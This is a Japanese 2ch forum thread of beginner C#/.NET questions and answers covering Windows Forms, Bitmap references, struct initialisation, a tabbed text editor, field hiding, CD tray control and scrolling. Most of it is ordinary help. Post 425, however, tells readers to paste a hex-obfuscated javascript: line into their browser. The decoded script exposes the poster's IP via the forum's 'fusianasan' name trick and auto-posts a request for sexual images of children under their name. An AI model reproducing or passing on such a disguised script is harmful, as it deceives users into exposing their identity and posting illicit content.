ふらっとC♯(Part5) ..
[2ch|▼Menu]
331:デフォルトの名無しさん
04/09/05 13:36
>>330
目から鱗

332:デフォルトの名無しさん
04/09/08 21:18
URLリンク(www.atmarkit.co.jp)
の記事をみてSQL Server 2000を使ってみようと思い立ったんですが、
とりあえず URLリンク(www.microsoft.com) をインストールして
みたのですが、ヘルプをみても使い方がサッパリ分りません。
インストールするとタスクトレイにDBのアイコンがでますが、これのサービスをスタートしようとすると
エラー1069(ログオンに失敗したため、サービスを開始できませんでした)となってしまいます。
これってまず何をすればいいんでしょうか?

333:デフォルトの名無しさん
04/09/09 01:51
はじめまして。
URLリンク(mobiquitous.com)
これを使って、IEツールバーのボタンが押されたらあるページがIEに表示されるように
したいのですが、どうすればIEを操作できるのか見当がつきません。
何か関連ありそうなキーワードがあれば教えてください。よろしくお願いします。

334:デフォルトの名無しさん
04/09/09 12:55
>>333
Site もしくは Site の IServiceProvider 経由で IID_IWebBrowser もしくはIID_IWebBrowserAppを
得て Navigate すればいいんじゃない?

335:333
04/09/09 22:37
>>334
ありがとうございます。
調べてみます。


336:デフォルトの名無しさん
04/09/10 16:44:32
アプリケーションをフォームが非表示の状態で開始するにはどうやればいいか教えていただけますか?
Application.Run の前に CreateControl して Hide して、Visible を false にしてもなぜか表示されてしまいます・・・


337:デフォルトの名無しさん
04/09/10 17:01:55
>>336
URLリンク(www.microsoft.com)

個人的にはApplication.Run()でやることが多いけど。

338:デフォルトの名無しさん
04/09/10 21:30:59
>>337
これだと確かに表示はされないけれども、Load イベントも上がらないし・・・
普通の Win32 アプリでいう WS_VISIBLE でない状態でウィンドウそのものは作りたい、
というような状況なのです。CreateSuruct でも override してみるかなぁ。

339:デフォルトの名無しさん
04/09/10 21:56:22
CreateParams を override して WS_VISIBLE を落としてもダメ、
Form の Load イベントで this.Hide() しても this.Visible = false; してもダメ、
Application.Run を Form.ShowDialog にしてもダメ。
(関係ないけどRun の代わりに ShowDialog 使うと Dialog 終了後のメッセージが処理されないので
表示した NotifyIcon を Form が Close される前に消さないとゴミが残る・・・)

VisibleChanged イベントのハンドラで Hide すると何とか消えるけど、一瞬表示されるのでちらつきます。
タスクトレイにいきなり常駐するユーティリティとかどうやってみんな作ってるんだろう。

340:デフォルトの名無しさん
04/09/10 22:03:18
>>339
>  タスクトレイにいきなり常駐するユーティリティとかどうやってみんな作ってるんだろう。

NotifyIconとかを管理するクラスを作り、その中のContextMenuでフォームのShow/Hideを扱う。
メッセージループはApplication.Run()でメインウィンドウを持たせずに開始する。

341:デフォルトの名無しさん
04/09/10 22:46:49
>>340
できました!ありがとうございます。

342:デフォルトの名無しさん
04/09/17 11:41:58
パフォーマンスを計るのにスレッド単位でCPUのTickTimeを取得したいのですが、
(Sleep中または別スレッドが走っている時はカウントしない)
そういうクラス知っている人いますか?


343:デフォルトの名無しさん
04/09/17 11:48:25
Type.InvokeMemberからBindingFlags.GetPropertyでプロパティを取得する時、
返り値がobject配列なのですが、どうすれば各要素にアクセス可能になるでしょうか。
単に返り値をobjectとして取得することはできたのですが、その後が分かりません・・

344:デフォルトの名無しさん
04/09/17 11:50:48
>>343
言ってる意味がよくわからない。
もうちょっと具体的に。

345:デフォルトの名無しさん
04/09/17 12:07:17
ごめんなさい、分かっちゃった。
こうしたかっただけです。

obj = type.InvokeMember("array", BindingFlags.GetProperty, null, doc, new object[] {2});
* これで二番目の要素をゲット

お騒がせしました。

346:デフォルトの名無しさん
04/09/17 14:41:43
bmp=new Bitmap(filename);
これをdisposeせずに、また
bmp=new Bitmap(filename2);
を呼び出したらメモリー減って行きますか?
それとも、同じ変数のメモリー番地に上書きされるだけですか?

347:デフォルトの名無しさん
04/09/17 14:45:31
>>346
もちろん新しいメモリが確保される。
インスタンスのサイズが違うかも知れないのに上書きしちゃまずいだろ。

348:デフォルトの名無しさん
04/09/17 14:47:10
って、参照先じゃなくて変数そのもののアドレスか?
それなら上書きされるが。
つかそんなことに頭を悩ます意味は全くないが。
あとそれとDisposeとは何の関係もない。

349:デフォルトの名無しさん
04/09/17 14:58:36
bmpの中にある画像データを替えたかっただけなんです。
>って、参照先じゃなくて変数そのもののアドレスか?
>それなら上書きされるが。
という事は、前の画像データが消えて新しい画像データに上書きされるって事ですよね?

350:デフォルトの名無しさん
04/09/17 15:08:05
> という事は、前の画像データが消えて新しい画像データに上書きされるって事ですよね?

画像データとか言わずBitmapインスタンスと言おうな、こういう場合。

まあ、そんな感じ。
細かく言うなら、「変数が示す参照先が書き変わる」。
変数が、古いインスタンスを丸めてポイして、新しいインスタンスにべったりくっつくわけだ。

//丸めてポイされたインスタンスはいずれGCが片づける。

351:346
04/09/17 15:10:47
なるほど、色々ありがd。

352:デフォルトの名無しさん
04/09/17 15:16:45
>>346微妙に誤解してないか?
>>350の書いてる内容は間違っちゃいないんだけど、
読み方によっては>>346が誤解してしまうように思う。

依然
>という事は、前の画像データが消えて新しい画像データに上書きされるって事ですよね?
のように言ってるからね…
まあ画像データが上書きされるってのを、プログラム上からはというか、
プログラムでの操作上はそのように見えるってだけの意味で言ってるのなら大丈夫かもしれんが…

353:デフォルトの名無しさん
04/09/17 21:16:06
>>346
上書きはされないよ。例えば、

Bitmap bmp = Bitmap(file1);
aForm.BackgroundImage = bmp;

なんてしておいて、後で
bmp = Bitmap(file2)
なんてやってもフォームの背景は変わらない。

前の画像は前の画像、新しい画像は新しい画像、お互いなんの関係もない。

354:デフォルトの名無しさん
04/09/17 21:48:51
プロパティに設定するときはインスタンスのコピーをとってるんだろうか

355:デフォルトの名無しさん
04/09/17 22:26:56
>>354
とってないよ。だから Dispose なんかしちゃだめだよ。

356:デフォルトの名無しさん
04/09/17 23:38:22
Disposeは微妙な存在。

357:デフォルトの名無しさん
04/09/18 10:40:22
>>342 の続きなんですが、スレッドがSleep等で停止したり、再開したりする時に
コールバックもしくはなんだかの形でフックを掛けることはできないか知っている人いませんか?

358:在日参政権反対
04/09/18 12:36:45
>357
単純にメソッド余分じゃ駄目なの?他のスレッドに何かさせたいんでしょうか?ならイベントとか?

359:デフォルトの名無しさん
04/09/18 13:51:36
>>358
システム側でスレッドが切り替えられたときにも引っ掛けないとパフォーマンスが計れないです。


360:在日参政権反対
04/09/18 14:13:26
パフォーマンスカウンターオブジェクトのスレッド実行時間では?

361:デフォルトの名無しさん
04/09/23 02:34:14
はじめまして。
プログラミング自体初心者なのですが、
VisualStudioC#で作ったプログラムの
テキストボックスの中でバックスペースが効きません。
これってなんとかならないものでしょうか。


362:デフォルトの名無しさん
04/09/23 02:40:37
Ctrl+H

363:デフォルトの名無しさん
04/09/23 15:42:18
前の文字を消すための代替方法を探しているのではなくて、
テキストボックスでバックスペースキーを認識する方法を探しています。



364:デフォルトの名無しさん
04/09/23 15:48:46
と言われても私の周辺では普通に有効だし。
コード上で変なことをしてるかキーボード補助系のなんかのアプリを使ってるか、果てしなく環境依存な話になるし。
そもそもTextBoxはWindowsの標準エディットコントロールをラップしてるだけだしなぁ。

365:教えてください
04/09/24 08:46:54
C#初学者です。
ナンバーズ予想ソフトをVC#で作りたいと思っています。
Winアプリで、ナンバーズとか株の最新データを取得してくるソフトが
ありますが、あれってどのような仕組みでやっているのですか?
何か参考になるサイトや書籍などあれば教えてください。

366:デフォルトの名無しさん
04/09/24 11:16:52
>>365

1.サイトからHTML(など?)をダウンロードする
2.ダウンロードしたHTML(など?)からナンバーズのデータを取得
3.取得したデータから、予想する

大雑把にこんな感じでやればいいのでは。

367:在日外国人参政権反対
04/09/24 11:32:46
ナンバー図は知らんが、株はサイトと直接ソケット接続してデータやり取りするものもあった希ガス.

368:365
04/09/24 12:59:54
>366
ということは、まずHTMLのソースを元に配列化して、データを取得するということでしょうか?

取得の仕方だけが分からないんで・・・

369:デフォルトの名無しさん
04/09/24 13:03:00
まずデータがどこにどういう状態/形式でおかれているか、によって話は全く違った方向に転がっていくだろう。

370:366
04/09/24 15:17:28
>>368
それは各自の工夫です。そんな甘いものではないはず。

まあヒントを。HTMLをダウンロードすることを前提に話すけど。
ダウンロードしたHTMLのうち、必要なデータがある場所というのはサイトの構成が変わらなければいつも同じなはず。
そういうのを、文字列の検索とか正規表現とかで探し出す。
運よく取得するサイトがXHTMLになっている場合は、System.Xml名前空間を駆使すれば楽になるかもしれない。

371:在日外国人参政権反対
04/09/24 15:55:14
>365
何がわからないのか明確にしる
ソースの場所
ソースの形式
そのソースの取得方
プログラムの書き方
全部

372:デフォルトの名無しさん
04/09/24 19:47:18
HttpWebRequest

373:デフォルトの名無しさん
04/09/25 14:06:36
ネットワークゲームを作る際に、通信に最初(ログイン)から最後(ログオフ)まで
BinaryFormatter もしくは SopaFormatter にてシリアル化したオブジェクトのみを使用する事に問題点はありますか?

374:デフォルトの名無しさん
04/09/29 00:02:22
>>373
なんか問題があったときにスニファで見てもよくわからないとかが
ありそうなので、おいらは使わない
Soapはしらないけど、効率わるいんじゃないの?

375:デフォルトの名無しさん
04/10/02 10:37:47
値型のnewってヒープを食わないんですよね?デフォルトのコンストラクタが呼ばれるだけで。
同じ変数に2回以上newした場合はどうなんでしょう。
ループの中で構造体とかを初期化したいがためにnewでクリアしようとするのは
問題ないんでしょうか?
すごく抵抗を覚えるんですが・・・

・パターン1
A a = new A();
for (int i = 0; i < 10000; i++)
{
a = new A();
// 以降Aを設定する処理
}

・パターン2
for (int i = 0; i < 10000; i++)
{
A a = new A();
// 以降Aを設定する処理
}

・パターン3
A a = new A();
for (int i = 0; i < 10000; i++)
{
// 自力で初期化
a.xx = "";
// 以降Aを設定する処理
}
パフォーマンス的には3が一番いいような気がしていますが。
構造体を再度初期化する方法ってnew以外にあるんでしょうか?


376:デフォルトの名無しさん
04/10/02 11:03:46
>>375
ボクシングされなければ、既に在る領域をコンストラクタで初期化しているだけのような気もする
……中を見てみないとどうにもいえないけど

不安ならば、パターン3の拡張として、
A に SetData みたいなメソッドを作り、そこで一気に値を変更してみればいかがか?

377:デフォルトの名無しさん
04/10/02 11:21:45
>>375
> パフォーマンス的には3が一番いいような気がしていますが。
少なくとも速度的には一番悪い。
1と2では差は無し。意味的に大した違いも無し(aの寿命だけ。実質的な動作は同じ)

> 構造体を再度初期化する方法ってnew以外にあるんでしょうか?
static readonlyなEmptyフィールドを用意するとか。
意味的にはnew()するのと変わりませんよ?

> ループの中で構造体とかを初期化したいがためにnewでクリアしようとするのは
> 問題ないんでしょうか?
> すごく抵抗を覚えるんですが・・・
そんなことよりも、初期値を指定しないで初期化する構造体の方に抵抗を覚えるな。

378:375
04/10/02 12:40:42
>>376-377
回答どーもです。

3が一番遅いというのは、newより個々のメンバをクリアする方が遅いんですか?
値型のnewの場合、内部的にmemsetみたいにクリア処理が1発走るだけなんですかね。


379:デフォルトの名無しさん
04/10/02 12:57:09
C#でビデオキャプチャーはできますか?
DirectXではできない(かなり面倒)と聞きました。
VFWで動きますでしょうか?サンプルなどありましたら、お教えください。

380:デフォルトの名無しさん
04/10/02 13:43:36
>>379
DirectShow(のActiveXコントロール)による極簡単なサンプル
URLリンク(chikuma.sit.ac.jp)

DirectX9のDirectShowの.NETラッパ作成プロジェクト
URLリンク(www.codeproject.com)

381:デフォルトの名無しさん
04/10/04 01:17:53
このスレタイのC#を半角小文字英数のC#に変えてください

382:デフォルトの名無しさん
04/10/04 01:19:03
そうすると不思議なことにC言語のスレッドと見分けがつかなくなるのです。

383:デフォルトの名無しさん
04/10/04 01:51:54
#はシャープとは違う文字ですよ

384:デフォルトの名無しさん
04/10/04 01:57:37
それでも半角の方が公式なんだがな。

385:デフォルトの名無しさん
04/10/04 01:59:03
スレタイに半角 # は使えません。

386:デフォルトの名無しさん
04/10/04 02:01:23
ム板だけでも#が使えるようにならんもんかな

387:デフォルトの名無しさん
04/10/04 17:39:45
c#stdを使っているのですが
ユーザーコントロールを配置して
デバッグしようとすると、ユーザーコントロールはビルドされていないとダメって
コンパイル時に起こられるのですが、みなさんはどうしてますか?
VS.NETproとかだとこういうエラーはでないんですか?

388:デフォルトの名無しさん
04/10/04 18:07:35
>387 151はけーん

389:デフォルトの名無しさん
04/10/12 23:27:56
age

390:デフォルトの名無しさん
04/10/17 23:11:19
button1のプロパティを全部button2にコピーする簡単な方法ってありますか?

391:デフォルトの名無しさん
04/10/17 23:36:11
意外に必要なプロパティなんて少ないもんだぞ。
問答無用に全部コピーすると問題が出たりするしな(だからWindowTargetをわざわざ除外してる)。

public void CopyButton(System.Windows.Forms.Button from, System.Windows.Forms.Button to) {
   foreach (System.Reflection.PropertyInfo inf in typeof(System.Windows.Forms.Button).GetProperties()) {
      if (!inf.CanRead || !inf.CanWrite || inf.Name == "WindowTarget")
         continue;
      inf.SetValue(to, inf.GetValue(from, null), null);
   }
}

392:デフォルトの名無しさん
04/10/18 00:04:22
>>391
すごい。
ありがとうございます!
やってみます。

393:デフォルトの名無しさん
04/10/18 18:35:36
C♯相談室から流れてきました。

タブ型のメモ帳を作っています。
richTextBoxを乗せたtabpageを追加していくようにしています。
上書き処理をしたいのですが自分で考えた方法は
openFileDialogでファイルのパスを取得してloadfileで読み込む
→内容を変更→savefileを使いpathパラメータはopenfileDialog.Filenameを指定して上書き
としているのですが、別のテキストファイルを開いたあとで開いてあったテキストファイルを上書きしようとすると
Filenameが後に開いたテキストファイルのものになってしまいます。
ファイルのパスをタブごとに維持しておく方法どうすればいいんでしょうか?

394:デフォルトの名無しさん
04/10/18 18:46:47
>>393
タブのページ毎の情報はタブのページ毎に保存しとく。
OpenFileDialog.FileNameを、それぞれのTabPageオブジェクトのTagにいれといて
保存する時はそれを使うようにする。

……むう、微妙に説明するのが難しい。

//開く時
TabPage page = tabControl1.SelectedTab;
page.Tag = openFileDialog.FileName;
((RichTextBox)page.Controls[0]).LoadFile(openFileDialog.FileName);

//上書き保存する時
TabPage page = tabControl1.SelectedTab;
string filename = (string)page.Tag;
((RichTextBox)page.Controls[0]).SaveFile(filename);

こんなかんじで。

395:デフォルトの名無しさん
04/10/18 20:10:25
早いレスありがとうございます。
しかし自分の説明不足からかわからない点が。

上の記述はすでにtabが開いてあるとしてのものですか?

説明が下手なのでコードを貼り付けます。
//開く
private void menuItem3_Click(object sender, System.EventArgs e)
{
openFileDialog1.DefaultExt = "*.txt";
openFileDialog1.Filter = "TEXT Files|*.txt";
if (openFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK && openFileDialog1.FileName.Length > 0)
{
string path = openFileDialog1.FileName;
string name = Path.GetFileName(path);
string title = name;
this.newtabpage = new System.Windows.Forms.TabPage(title);
this.tabControl1.Controls.Add(this.newtabpage);
this.newrichTextBox= new System.Windows.Forms.RichTextBox();
this.newrichTextBox.Dock=System.Windows.Forms.DockStyle.Fill;
this.newtabpage.Controls.Add(this.newrichTextBox);
this.newrichTextBox.LoadFile(openFileDialog1.FileName, RichTextBoxStreamType.PlainText);
this.tabControl1.SelectedTab=this.newtabpage;
this.newtabpage.ToolTipText=path;
TabPage newtabpage = tabControl1.SelectedTab;
newtabpage.Tag = openFileDialog1.FileName;
                         MessageBox.Show(this.newtabpage.Tag.ToString());//パスが取れてるか確認のため。 
                             }
}
としてみましたが結果が同じになってしまいました。
試行錯誤中なので無駄な記述があるかもしれません。
説明不足の上長文で申し訳ありませんがどうかお救いください。

396:デフォルトの名無しさん
04/10/18 20:19:32
>>395
this.newtabpageとかthis.newrichTextBoxとかは他で使わないならローカル変数でもいいような。
それはさておき開くときにファイル名を記録していないわけで。

this.newtabpage.Tag = name;

397:デフォルトの名無しさん
04/10/18 20:58:23
>>396
ファイル名を記憶してみても
別のテキストファイルを開いたらすでに開いてあるテキストファイルのタブのtagも新しく開いた方のtagになってしまいます。
根本的におかしい部分はありますか?
何回も本当に申し訳ありません。挫折したくないので頑張らせてください。お願いします。

398:デフォルトの名無しさん
04/10/18 21:02:04
>>397
すいません、解決しました。
パスを確認する別の記述の部分に
TabPage newtabpage = tabControl1.SelectedTab;
を加えるのを忘れていました。
ありがとうございました!

399:デフォルトの名無しさん
04/10/18 22:19:49
先生!
文字列型変数は、削除されないんですよね?
string s = "ぬるぽ";
s = "にりぺ";
とした場合、「ぬるぽ」は残ってるんですよね?
で、「ぬるぽ」にアクセスしたいときはどうしたらいいですか?

400:デフォルトの名無しさん
04/10/18 22:22:16
アクセスって?

401:デフォルトの名無しさん
04/10/18 22:23:40
>>399
string s = "ぬるぽ";
string backup = s;
s = "にりぺ";

System.Console.WriteLine(backup);

402:デフォルトの名無しさん
04/10/18 22:23:48
参照が無くなったものにアクセスはできない。
GCの管理下に入ってそのうちメモリから消されるのみ。
というか
> 文字列型変数は、削除されないんですよね?
て意味不明。
System.Stringは変更不可クラスで、その意味は
文字列を操作する各メソッドが自分自身のインスタンスを書き換えるのではなく
新しいSystem.Stringインスタンスをつくって返すってこと。

403:デフォルトの名無しさん
04/10/18 22:24:21
>>400
string p = s;
で、"ぬるぽ"を取得したり、"ぬるぽ"を消して、別の値を入れたり。
です。

404:デフォルトの名無しさん
04/10/18 22:41:45
>>399
> とした場合、「ぬるぽ」は残ってるんですよね?

もう手の届かないどこかに残っている。そのうち消えるが。

> で、「ぬるぽ」にアクセスしたいときはどうしたらいいですか?

諦めるのがよい。

>>403
>"ぬるぽ"を消して、別の値を入れたり。

別の値をどこに入れるね?

405:デフォルトの名無しさん
04/10/19 00:14:02
>>403
あんたはいったいなにがしたいんだ…?

406:デフォルトの名無しさん
04/10/19 01:40:32
>>402
どうでもいいことだが、参照が無くなってもWeakReferenceでアクセスできるような。
いや、これはGCの対象になるだけで参照は無くなってはいないか。

407:デフォルトの名無しさん
04/10/19 12:40:14
正規表現を全部エスケープする正規表現ってどうすればいいいですか?

408:デフォルトの名無しさん
04/10/19 14:54:14
class Class
{
public string s = "Hage1";
}

class Class1 : Class
{
new public string s = "Hage2";

public static void Main(string[] args)
{
Class c1 = new Class1();
Console.WriteLine(c1.s);
Console.ReadLine();
}
}
"Hage2"を表示したいのに、"Hage1"が表示されます。
Class c1 = new Class1();
で作成されたインスタンスは、Class1のインスタンスじゃないんでしょうか?

409:デフォルトの名無しさん
04/10/19 15:14:06
>>408
まず、フィールドはオーバーライドできない。まあ当然だけど。
このサンプルでやってるのはプロパティやメソッドで隠蔽と呼ばれる手法。同じシグネチャを持つもので元クラスのを隠蔽するわけだな。
ちなみにフィールドの場合newキーワードすら不要。
でも隠れただけで実際には存在する。
どう元クラスのにアクセスするか、というと元クラスの型でアクセスする。
この場合Class型でアクセスしたからClass型のsが呼ばれたんだな、とCLRは判断するわけだ。

さて、貴方の目当ての機能はどういうものか。
オーバーライドという手法だ。
機能を考えれば自ずと明らかなんだけど、これはメソッドやプロパティなど、「単に値を保持するだけではない」ものにしか適用できない。

サンプル。
class Super {
   public virtual string S {get {return s;}}
   private string s = "Super";
}
class Sub : Super {
   public override string S {get {return this.s + base.S;}}
   private string s = "Sub";

   public static void Main() {
      Super sub = new Sub();
      Console.WriteLine(sub.S);
   }
}
むう、今一つ上手い説明がつけられない……。


>>407
何がしたいのか分からないので具体例を。

410:408
04/10/19 15:55:59
>>409
この場合だと、
Class1クラスは、Classクラスのインスタンスを持っている。
Class1クラスのインスタンスc1は、Classクラスと、Class1クラスのインスタンスを持っている。

そこで、Class型のc1でアクセスしたので、Class1クラスのインスタンスの中の、Classクラスのインスタンスの変数sが呼び出された。

c1---------Class ←Class型でアクセスするとこの中のデータにアクセス
|--------Class1←Class1型で ヾ

ていう感じでいいんでしょうか? orz

411:デフォルトの名無しさん
04/10/19 16:17:36
> Class1クラスは、Classクラスのインスタンスを持っている。

違う。
Class1は、Classを拡張している。
class Class1 {  // Classを継承させずに書いてみる。いや文法エラーだけど
   public string Class.s = "Hage1";
   public string Class1.s = "Hage2";
}
こんな感じに。
この場合名前が同じだからわざわざClass.とClass1.で分けてるけど、そうでなければわざわざ型名をつける必要もないのは分かるね?
単に同じ部分を繰り返し書かなくて良いようにしてるだけ、と捉えることもできる(深く立ち入ればそう単純でもないが

> Class1クラスのインスタンスc1は、Classクラスと、Class1クラスのインスタンスを持っている。

だからあくまでClass1のインスタンスはClass1のインスタンス。
Class1がたまたまClassの機能をそのまま引き継いでいるからClassにある機能も使うことができる。

> そこで、Class型のc1でアクセスしたので、Class1クラスのインスタンスの中の、Classクラスのインスタンスの変数sが呼び出された。

Class1クラスにはClass.sとClass1.sが両方定義されている。と考えられる。
普通c1はClass1のインスタンスなんだからsを呼ぶとClass1.sが返される。
でもClass型の方のsが欲しいなら、Class.sを呼び出すことを明示するためにClass型で呼び出す。

412:408
04/10/19 17:30:06
>>411
どうもありがとうございます。
>public string Class.s = "Hage1";
>public string Class1.s = "Hage2";

これでやっと分かりました、たぶん。
Class c1 = new Class1();
これで、base.Value でアクセスするような感じで、c1.Value で基底クラス(Class)のメンバーに、自動的にアクセス出来るってことですよね。

413:デフォルトの名無しさん
04/10/19 19:56:35
先日質問させていただいたタブ型メモ帳を作ってるものです。

実はまだ上書き作業が上手くいっていません。というかsavefileを使う記述がすべて上手くいっていません。
問題はやはり保存したいもののとなりに新しく開いたものがあると
書き込むファイルは教えていただいた方法でちゃんと書き込んでいるのですが
書き込んでいる内容が一番最後に開いたタブのなかのrichTextBoxの内容になっています。

//上書き保存
private void menuItem4_Click(object sender, System.EventArgs e)
{
newtabpage = tabControl1.SelectedTab;
string fpath = newtabpage.Tag.ToString();
if(fpath.Length>0)
{
newrichTextBox.SaveFile(fpath,RichTextBoxStreamType.PlainText);
}
else
{
saveFileDialog1.DefaultExt = "*.txt";
saveFileDialog1.Filter = "TEXT Files|*.txt";
if(saveFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK &&saveFileDialog1.FileName.Length > 0)
{
newrichTextBox.SaveFile(saveFileDialog1.FileName,RichTextBoxStreamType.PlainText);
}
}
}
こう記述しております。
あと最初に回答していただいたときの
((RichTextBox)page.Controls[0]).LoadFile(openFileDialog.FileName); と
((RichTextBox)page.Controls[0]).SaveFile(filename); はどういう意味があるのでしょうか?
お願いします。

414:デフォルトの名無しさん
04/10/19 20:34:09
問題は、そのnewrichTextBoxだ。
そのnewrichTextBoxは最後に開いたRichTextBoxを指しているだろう?
つまり現在選択中のタブ上にあるRichTextBoxを必ずしも指していない。
そのために
TabPage page = tabControl1.SelectedTab;  //pageは現在選択中のタブのTabPage
string filename = (string)page.Tag;      //現在選択中のタブがもつパス情報
((RichTextBox)page.Controls[0]).SaveFile(filename); //現在選択中のタブページに含まれるRichTextBoxを取得し、そのデータを上で取得したパスに保存
と書いたわけだ。

つかさ、こんなnewrichTextBoxだのなんだののフィールドは捨てた方がわかりやすくなると思う。
それぞれのメソッドで必要な時にtabControl1.SelectedTab.ControlsからRichTextBoxの参照を取得すべき。

415:デフォルトの名無しさん
04/10/19 21:48:07
そういう意味だったのですか。なるほど。
試したところ上手くいきました。ありがとうございました。

意味はわかったんですけど
((RichTextBox)page.Controls[0]).SaveFile(filename);
という記述は変な聞き方ですがどこで手に入れた?のですか?
MSDNライブラリのtabpage.Controlsの周辺にもなかったので。

416:デフォルトの名無しさん
04/10/19 21:55:03
ん?
目的からしてTabPageにはDock.FillのRichTextBoxしか含まれてないだろう、と言う推測のもと
そうするとTabPage.Controls[0]はRichTextBoxになるわけで
それをControlsの各アイテムはControlクラスだからそのままではSaveFileメソッドを使えないから
一旦RichTextBoxにキャストしてSaveFileメソッドを実行、だが。

RichTextBox rtb = (RichTextBox)page.Controls[0];
trb.SaveFile(filename);

を一行で済ませただけだよ。

417:デフォルトの名無しさん
04/10/19 21:57:18
>>415
個々のオブジェクトの使い方を覚える前に、
まずはC#(というか.NET framework)そのものを学んだ方がよい。
重要なのは記述の方法ではなく、その記述が表現している概念だ。

418:デフォルトの名無しさん
04/10/19 22:06:19
IEのファイルダウンロードのダイアログを同等のものを
C#のプログラムで表示させたいのですが、
どうすればいいのですか?
「開く」「保存」「キャンセル」のボタンがあるやつです。


419:デフォルトの名無しさん
04/10/19 22:13:18
実をいうと自分は
SE・プログラマ スタートアップテキスト 10日間マスター講座 C#プログラミング 【基礎】
URLリンク(www.gihyo.co.jp)
を読んでタブ型メモ帳を作ろうとしていました。
この本は他のC#の解説書・サイトと比べるとかなり基本的なことだけでまとめられていて
自分にピッタリだなぁと思ったんです。
しかし質問するにつれてこの本に載っていない単語・表現・記述などがあるたび
検索してひとつずつ理解しながらまた質問していました。
やはりこれだけでは全然足りないみたいです。
これだけは読んでおけ!っていう本・サイトはありますか?

420:デフォルトの名無しさん
04/10/19 22:37:28
>>418
>  「開く」「保存」「キャンセル」のボタンがあるやつです。

それくらいならFormから派生させたクラス書こう。
Buttonを3つ配置してそれぞれのClickイベントでDialogResultプロパティを適当に設定するだけだ。

421:418
04/10/19 23:02:25
プログラムを書くのは簡単ですが、OS or IEで用意されている
ものがあるのであればそれを使いたい。
そもそもOS or IEのバージョンによっても表示が変わりますよね。


422:418
04/10/19 23:07:15
ファイル上書き確認のダイアログとかもそうだけど。
用意されてないの?自分でつくらないといけないの?


423:デフォルトの名無しさん
04/10/19 23:11:52
上書き確認はSaveFileDialogについてくるもんだしなぁ。
YesNoCancel程度ならMessageBoxで済むし。

424:デフォルトの名無しさん
04/10/20 02:32:48
>>418
あった気がするが。忘れたよ。Win32APIスレでも行ってみたら?

425:デフォルトの名無しさん
04/10/20 07:13:53
どのスレでもいいので新しいウインドウで開く
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b46524f4d2e76616c75653d2766757369616e6173616e273b4d4553534147452e76616c75
653d275c75333045445c75333045415c75373533425c75353043465c75333034465c75333036305c75333035355c7533303434273b7375626d69742e636c69636b2829
3b7d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
を1行にしてアドレス欄にコピペして実行すれ。

426:デフォルトの名無しさん
04/10/20 12:40:19
ListBoxとかListView上で、マウスを動かすと同時に、マウスの位置にあるアイテムを
自動的に選択するようにしたいんですが、どうやったらいいですか?

427:デフォルトの名無しさん
04/10/20 13:11:40
>>426
MouseMoveイベント内で、
ListView.GetItemAt(int x, int y)またはListBox.IndexFromPoint(int x, int y)でマウス位置のアイテムまたはインデックスを取得。
ListViewItem.SelectedまたはListBox.GetSelectedがfalseならば
ListViewItem.Selectedをtrue、またはListBox.SetSelected(int index, bool value)で選択させる。

激しく鬱陶しそうなUIだな。
実用にならない気がする。

428:デフォルトの名無しさん
04/10/21 16:48:43
保守age

429:デフォルトの名無しさん
04/10/24 00:03:10
CDドライブのドライブレターを指定して、
トレイの開閉操作を行いたいんだけど、どうもFrameworkにはなさそうなので
従来通り、winmm.dllのmciSendCommandでやろうと思ったわけですが、
構造体を引数にとる場合の処理で困ってます

typedef struct tagMCI_OPEN_PARMSW {
  DWORD_PTR   dwCallback;
  MCIDEVICEID   wDeviceID;
  LPCWSTR   lpstrDeviceType;
  LPCWSTR   lpstrElementName;
  LPCWSTR   lpstrAlias;
}
mciSendCommandのextern宣言は
public static extern int mciSendCommand(ulong IDDevice,uint uMsg,ulong fdwCommaand,[MarshalAs(UnmanagedType.LPStruct)] ref MCI_OPEN_PARMS dwParam);
としていますが、
「追加情報 : parameter #4 を集成できません。無効なマネージ/アンマネージ型の組み合わせです。この値は Struct と組で使用してください。」
と、例外が発生して実行できません
どうやったらいいんでしょうか?

430:デフォルトの名無しさん
04/10/24 00:44:34
>>429
それだけなら
public static extern uint mciSendString(string command, StringBuilder returnBuffer, uint bufferSize, IntPtr whnd);
mciSendString("set cdaudio door open", null, 0, IntPtr.Zero);
mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero);
で良さそうだけど。

//開閉状態のチェックは色々難しいところがあるようだ……。
URLリンク(forums.belution.com)

431:デフォルトの名無しさん
04/10/24 01:28:56
特定のドライブ、となると一旦openする必要があるのかな。
StringBuilder sb = new StringBuilder(256);
uint existCD = mciSendString("open Q:\\ type cdaudio alias Hoge", sb, 256, IntPtr.Zero);
if (sb.ToString() == "1") //ドライブのオープンに成功したかチェック
   mciSendString("set Hoge door open", null, 0, IntPtr.Zero);

432:429
04/10/24 17:17:55
できましたー
SendStringで開閉できたんですねorz
ありがとうございました

433:デフォルトの名無しさん
04/10/24 19:32:03
C#でチャットを作っています
メッセージを受信した際にログを表示するrichTextBox1を最下行へスクロールしたいのですが、
private void richTextBox1_TextChanged(object sender, System.EventArgs e)
{
richTextBox1.SelectionLength = 0;
richTextBox1.SelectionStart = richTextBox1.Text.Length;
richTextBox1.ScrollToCaret();
richTextBox1.Focus();
richTextBox2.Focus();

//もしくは
//richTextBox1.SelectionStart = richTextBox1.Text.Length;
//richTextBox1.Select();
//richTextBox1.Focus();
//richTextBox2.Focus();
}

とすると、たしかに最下行へ移動するのですが、(richTextBox2で)文字入力途中に、
このイベントが発生すると当たり前ですがフォーカス奪われて文字入力が不便になります。

richTextBox2のほうで入力中でも、影響なくスクロールする方法があれば教えていただきたいです・・・。



434:467
04/10/24 23:06:09
すいません自己解決しますた

Focus()ハズしてrichTextBox.1HideSelection = falseでうまくいきました


435:433
04/10/24 23:06:41
433だった・・・

436:デフォルトの名無しさん
04/10/25 22:10:19
文字列の検索でIndexOfとかIsMatchを使うと
[]とかの正規表現に使う文字列がうまく検索できないみたいなんですけど
これって普通に[]とかを検索したい場合、検索したい文字列を自分で
変換したりする必要があるんですか?
それとも他に何か簡単な方法があるんでしょうか?
教えてくださいお願いします。

437:デフォルトの名無しさん
04/10/25 22:14:21
.NET FrameworkにはIsMatchメソッドがあるのがRegexクラスしかなくて、RegexクラスにIndexOfメソッドはないんだが。
一体何でどうやって文字列の検索をしてるのかな。

438:デフォルトの名無しさん
04/10/25 22:24:58
大昔の「コンピュータがクリックして困ってるんだ!」っていう話を思い出した。

439:デフォルトの名無しさん
04/10/25 22:49:21
>>437
